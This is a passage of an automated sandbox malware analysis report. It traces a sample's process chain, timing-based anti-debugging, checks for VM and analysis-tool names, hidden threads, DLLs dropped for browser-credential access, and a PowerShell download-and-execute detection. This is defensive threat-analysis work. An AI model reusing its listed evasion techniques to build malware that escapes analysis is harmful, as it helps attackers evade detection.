Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F69DE8 second address: F69E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F8F30D58CD8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 jmp 00007F8F30D58CE6h 0x00000028 push 00000000h 0x0000002a jng 00007F8F30D58CDCh 0x00000030 mov dword ptr [ebp+1245C775h], ebx 0x00000036 and di, B667h 0x0000003b push 00000000h 0x0000003d jmp 00007F8F30D58CDDh 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jbe 00007F8F30D58CD6h 0x0000004d rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F69E50 second address: F69E5A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8F30FBAE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6CFF5 second address: F6CFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6CFF9 second address: F6D026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE74h 0x00000007 jmp 00007F8F30FBAE71h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6D026 second address: F6D02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6D02C second address: F6D030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6D030 second address: F6D036 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6D614 second address: F6D65F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 jbe 00007F8F30FBAE66h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D2EB4h], edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F8F30FBAE68h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 push edx 0x00000034 jmp 00007F8F30FBAE6Eh 0x00000039 pop ebx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6D65F second address: F6D664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6E63E second address: F6E648 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F30FBAE6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6F626 second address: F6F679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push eax 0x0000000b mov bx, ax 0x0000000e pop edi 0x0000000f push 00000000h 0x00000011 mov di, dx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F8F30D58CD8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 and bl, FFFFFFD6h 0x00000033 pushad 0x00000034 mov ebx, 57564901h 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b jng 00007F8F30D58CDAh 0x00000041 push eax 0x00000042 pushad 0x00000043 popad 0x00000044 pop eax 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6F679 second address: F6F680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6F680 second address: F6F687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5A4D9 second address: F5A4F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30FBAE75h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5BF4A second address: F5BF4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5D524 second address: F5D528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5EA97 second address: F5EA9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F5F5B2 second address: F5F5C5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8F30FBAE68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F68F5F second address: F68F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8F30D58CD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6900D second address: F69013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6A054 second address: F6A068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F30D58CDFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6D786 second address: F6D79D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30FBAE73h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F6D79D second address: F6D7AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 68FC3D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 68FD12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 82D503 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 82BAA6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 855B49 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 834D6B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Special instruction interceptor: First address: D9EA71 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Special instruction interceptor: First address: FDEDA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 16EA71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3AEDA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Special instruction interceptor: First address: A12B2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Special instruction interceptor: First address: BB1D13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Special instruction interceptor: First address: BC3F64 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFHJDBKJKFI.exe

Code function: 26_2_04F30432 rdtsc

26_2_04F30432

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.5 %

Source: C:\Users\user\Desktop\file.exe TID: 5064	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5064	Thread sleep time: -110055s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5740	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5740	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7260	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5484	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5484	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1048	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1048	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5672	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5672	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5748	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5748	Thread sleep time: -88044s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4892	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4892	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6736	Thread sleep count: 86 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6736	Thread sleep time: -2580000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6736	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFHJDBKJKFI.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C94C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C94C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.2913213432.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000026.00000002.3453145530.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, rh.exe, 00000027.00000002.3453683028.0000000000B95000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.14.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: Web Data.14.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.14.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.14.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Web Data.14.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000026.00000002.3455388933.000000000123B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000026.00000002.3455388933.000000000127C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DocumentsFHJDBKJKFI.exe, 0000001A.00000003.2803789696.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9j
Source: Web Data.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.14.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Web Data.14.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.14.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2812126951.0000000001116000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000002.2844098891.00000000236E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.14.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.14.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.14.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2812126951.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.14.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.14.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2810034233.000000000080C000.00000040.00000001.01000000.00000003.sdmp, DocumentsFHJDBKJKFI.exe, 0000001A.00000002.2889680369.0000000000F32000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001B.00000002.2865645897.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2913213432.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000026.00000002.3453145530.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, rh.exe, 00000027.00000002.3453683028.0000000000B95000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFHJDBKJKFI.exe

Code function: 26_2_04F30432 rdtsc

26_2_04F30432

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C995FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C995FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C933480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C96B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C96B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB1AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3564, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJDBKJKFI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHJDBKJKFI.exe "C:\Users\user\DocumentsFHJDBKJKFI.exe"
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe "C:\Users\user\AppData\Local\Temp\1008496001\rh.exe"

Source: file.exe, file.exe, 00000000.00000002.2810034233.000000000080C000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: "Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96B341 cpuid

0_2_6C96B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

